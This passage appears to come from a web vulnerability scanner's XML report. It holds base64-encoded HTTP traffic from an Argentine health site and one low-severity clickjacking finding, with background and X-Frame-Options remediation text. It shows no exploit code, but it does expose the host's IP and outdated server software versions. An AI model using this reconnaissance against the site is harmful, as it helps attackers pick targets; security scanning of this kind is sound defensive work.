PgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
148 <responseRedirected>false</responseRedirected>
149 </requestresponse>
150 </issue>
151 <issue>
152 <serialNumber>3368157477358873600</serialNumber>
153 <type>5245344</type>
154 <name>Frameable response (potential Clickjacking)</name>
155 <host ip="200.20.20.201">http://www.example.org.ar</host>
156 <path><![CDATA[/index.php]]></path>
157 <location><![CDATA[/index.php]]></location>
158 <severity>Information</severity>
159 <confidence>Firm</confidence>
160 <issueBackground><![CDATA[It might be possible for a web page controlled by an attacker to load the content of this response within an iframe on the attacker's page. This may enable a "clickjacking" attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions.<br><br>Note that this issue is being reported because the application's response does not set a suitable <b>X-Frame-Options</b> header in order to prevent framing attacks. Some applications attempt to prevent these attacks from within the HTML page itself, using "framebusting" code. However, this type of defense is normally ineffective and can usually be circumvented by a skilled attacker.]]></issueBackground>
161 <remediationBackground><![CDATA[You should review the application functions that are accessible from within the response, and determine whether they can be used by application users to perform any sensitive actions within the application. If so, then a framing attack targeting this response may result in unauthorized actions.<br><br>To effectively prevent framing attacks, the application should return a response header with the name <b>X-Frame-Options</b> and the value <b>DENY</b> to prevent framing altogether, or the value <b>SAMEORIGIN</b> to allow framing only by pages on the same origin as the response itself.]]></remediationBackground>
162 <requestresponse>
163 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHAgSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMCkNCkNvbm5lY3Rpb246IGNsb3NlDQoNCg==]]></request>
164 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0